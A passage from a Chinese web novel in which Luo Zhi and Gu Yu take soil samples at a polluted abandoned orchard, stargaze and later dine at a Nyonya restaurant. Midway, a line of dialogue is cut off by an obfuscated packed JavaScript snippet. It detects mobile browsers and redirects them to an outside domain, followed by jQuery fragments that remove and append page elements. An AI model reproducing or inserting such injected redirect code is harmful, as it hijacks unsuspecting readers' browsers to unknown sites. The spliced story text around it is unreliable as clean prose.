“自作多情。”雒知调整坐姿,别过头,没再看他。
一路上两人相对无言,顾驭合上眼休息,大约两小时后,他们来到冬江下游附近的果园。
一眼望去,周遭荒无人烟,哪有什么果园,只剩下荒废许久的土地、空房子和被遗忘的岁月。
杂草阻断了原本平整的农道,雨水积聚形成连绵水洼,车进不去,司机将车停在路口,在外留守。
雒知往自己的Hobo包里装了两瓶水,顾驭提起一个竖形铁皮盒,又捞起遗落的单反相机往肩上一甩,他们一前一后地走向田埂深处。
空气潮湿,泥土气息渐重,雒知仔细看着脚下,害怕会窜出什么奇怪的生物。
下一瞬……
“啊!”顾驭冷不丁地发出一声短促,又立刻噤声。
“什么?什么?”雒知身子一颤,定在原地,半步也不敢再往前,眼睛直勾勾地盯着顾驭的后脑勺,他僵直地站立着,背对她,久不回应。
“怎么了?!快说话!”雒知向前探出一点头,“顾驭,你看到什么了?”
顾驭攥紧拳头,片刻才沉声开口:“没。”
“……”雒知神色疑惑,催促他,“那你停下来做什么,快走,天要黑了。”
“嗯。”顾驭还是迈不开腿,“等等。”
雒知双手叉腰,好奇心战胜了恐惧,她抓着顾驭的肩膀,顾驭试图阻拦她:“诶,你不要着急……”
雒知才不管那么多,待她从侧面挤到顾驭身前,回头一看:“顾驭,你……”
她接着笑出了声:“你一个办案的,专门管悬案的,什么没见过,怎么会怕虫子?”
“谁说我怕了,我是……不想杀生……”顾驭嘴比心硬,他仰起头,不去看裤子上附着的蝼蛄,只一味地抖动裤腿。
那拇指长的暗褐色蝼蛄纹丝不动,它头似圆锥,身上盖着铁甲壳,尾须又长又细,雒知第一次见到这种虫子,其实并不少见,只是她很少来田里而已。
雒知生出兴趣,弯弯腰,凑近了看它,突然抬眸对顾驭说:“它长了6只脚。”
“你……别说话了。”
“我帮你一次,你要记住我的恩情哦。”雒知伸出手指,比了个OK的手势。
顾驭伸手挡住眼底视线,看着她:“你要干什么?”
“弹开它。”话音未落,雒知用常年下象棋的食指,有力地弹飞了蝼蛄,还很有成就感地让顾驭看,“原来它会飞呢,它的翅膀好长。”
“……”顾驭的唇角耷拉着,说不清是丢脸还是无地自容,两种都一样,他又绕到雒知身前,淡淡说,“走了。”
雒知没有嘲笑他,只是扯过他的西服袖口,擦了擦手,两人又继续上路。
土生万物,越往深处走,泥土的颜色越青,肉眼可见的发绿。
泥土里混杂着的恶臭味也更加刺鼻,雒知有过敏性鼻炎,对气味极其敏感,她用手捂住鼻子,最后两人在一棵枯树前停下。
雒知打开手机里保存的照片,这就是移动硬盘里其中一张照片的同款点位,她举起手机比对着,和她心中预料的相同,照片里果林茂盛,眼前只剩枯枝。
妈妈是想告诉她,这里的土地被污染了,但会这么简单吗?雒知暗暗思忖。
顾驭围绕这棵树,拍下许多照片,但现场热点区域范围太大,他没办法系统性地采样。于是,他在分析土壤的外观特征、气味以及植被覆盖等情况后,选择了一块污染可能最重的地块作为采样对象。
“我可以帮你做什么?”雒知走得腿酸,半蹲在地上,双手抱膝。
“你还是捂着鼻子,休息会儿吧,体力活我来,脑力活你来。”顾驭又找回了自信,全然忘了刚才怕虫子的也是他。
雒知点点头,不和他争,从包里拿出水给他:“好好干。”顾驭接过水就喝了半瓶。
天色暗下来,借着黑夜做掩护,顾驭从提了一路的长铁盒里取出环刀和土钻,用随机布点采样法,开始采取表层土样本。
雒知打开手机电筒,替他照明,即便他准备了照明灯。
“走吧。”顾驭将样本逐一装进土壤袋里,贴上标签,写上经纬度、采样时间、土壤特征等信息,“深层土采不了,如果表层土化验有了结果,就可以交给督巡局深入调查。”
“我现在算你们的线人吗?”雒知蹲久了,腿很麻,顾驭走上前去扶她起来。
“别套我话,我已经辞职了。”顾驭说完就及时松开手,将照明灯交给她,自己打开手机电筒走在前面。
雒知不再留心脚下,以这里的土壤污染程度,不会出现能吓到她的动物,顶多就是一些让顾驭害怕的虫子,但她乐于助人,可以保护他。
想到这儿,雒知感到有些戏虐。她仰起头望向上空,清澈的眼眸里顷刻间映入了纯粹、黑暗、沉默、迷幻以及闪闪发光的无边星海。
它就这样挂在天上,美得不像话,亮如星钻,漫布天幕,让人心慌。
雒知没有出声,可顾驭却感知到她停下了脚步,回头看着她。
“原来星星这么亮,在城市里生活久了,只顾着低头看路,都忘了抬头看天。”雒知突然发出感叹。
顾驭顺着她的视线看去:“如果星星一年只出现一天,人们会觉得更美。”
顾驭的眼神变得柔软,雒知与他相识不过半月,他的身上笼罩着太多未知的秘密,雒知问过,他始终保持着警惕。此刻,雒知突然不想知道了,更不希望产生复杂的交集。
静静无声,就连凛风刮过都变得温柔,周围的一切好像静止了,他们各自心里在惦念着谁,互不相知。
“我们许个愿吧。”雒知提议。
“不是应该对流星许愿吗?说给星星有用?”顾驭给她的一时兴起泼了凉水。
“许愿,重要的是‘许’,心诚就好,实不实现又有什么重要?”
“按照你的逻辑,只要心诚,对蝼蛄许愿也一样?”
顾驭突如其来的抬杠,真煞风景。
雒知点点头,眼疾手快地从杂草丛里逮了一只蝼蛄,直直送到顾驭眼前:“对呀,快把你的愿望说给它听。”
“!!!雒知!”顾驭脖子往后靠,紧闭双眼,片刻不敢睁开。
“挺勇敢啊,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776625|174758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有拔腿就跑,算你还有点人性。”
顾驭很快反应过来,他这么精明的人竟然被雒知耍了,他勉强睁开眼,看清她手里只有一根枯草。
“许愿,许个愿而已,怎么也不会吃亏的。”顾驭转了口风,虔诚地许愿。
雒知笑笑不说话,闭上眼,双手合十,在心里对星星说了一个愿望,说了很久。
“你许了一个故事?”待她睁眼,顾驭好奇地问。
雒知没接话,她望着天,望着望着,轻轻推他:“我饿了,快出去了。”
“嗯。”
顾驭背过身去,雒知的眼角微微湿润,泪水偷偷涌出,从鼻尖滑落,又被她很快拭去。
路灯渐亮,她关上照明灯,顾驭将箱子放进后备箱,让她先上车。
和来时一样,两人又是相对无言。
即将进入虔渡市时,顾驭让司机将车停靠在休息站并打开后备箱,不一会儿,一个穿着灰色风衣的男人就取走了铁皮箱子。
“他负责化验?他也是你信得过的人?”雒知问。
“嗯,我们采的样本需要先做预处理,才能送实验室,他是这方面的专家。”
“什么时候能出结果。”
“顺利的话,一至两周。”
“嗯,那我也在这里下车吧。”雒知摘下安全带,伸手拉车门。
“你不是要吃饭吗?”
司机很会察言观色,他没有解锁车门。
“被人看到怎么办?”雒知的担心并无来由,在一座城市被人遇到的可能性太小。
“不会。”顾驭笃定道。
“那也没必要。”
“你请我吃饭,作为合作伙伴。”
“……”雒知想了想,她不愿意费心思和他一来一回的周旋,只是吃餐饭,不代表什么,她是个大大方方的人,“那就给你这个机会。”
顾驭带她来到市区一间娘惹菜私房餐厅,刚一坐下,服务员就上前问候。
“顾先生,现在上菜吗?”
雒知打量周围环境,心中盘算着熟客,这路线应该带不少女孩子来过。
顾驭示意再稍等一下,然后将菜单递给雒知,一道一道指着介绍:“我点了黑果鸡,是他们的招牌菜,还有仁当牛肉、叁峇虾、羊角豆、小金杯、娘惹糕……你看看,你想加点什么。”
“还有朋友要来吗?”雒知一边翻着菜单一边问。
顾驭难得露出笑容:“不能错过这个宰你一顿的机会。”
“哦。”雒知手压住菜单,随后叫来服务员,“你好,加一份叻沙、五香卷,然后再要两份榴莲煎蕊,可以上菜了,谢谢。”
“好的,如果吃不完请让我们为您打包。”服务员贴心地提醒道。
“好。”
雒知又看向顾驭:“你吃榴莲吗?”
“吃,不过你已经点了才问我,如果我不吃呢?”
“我吃呀,两份也没问题。”
“嗯,多吃是福。”
席间,顾驭问起雒知在入住员工宿舍前的打算。
“你今晚住哪里?酒店还是回家?”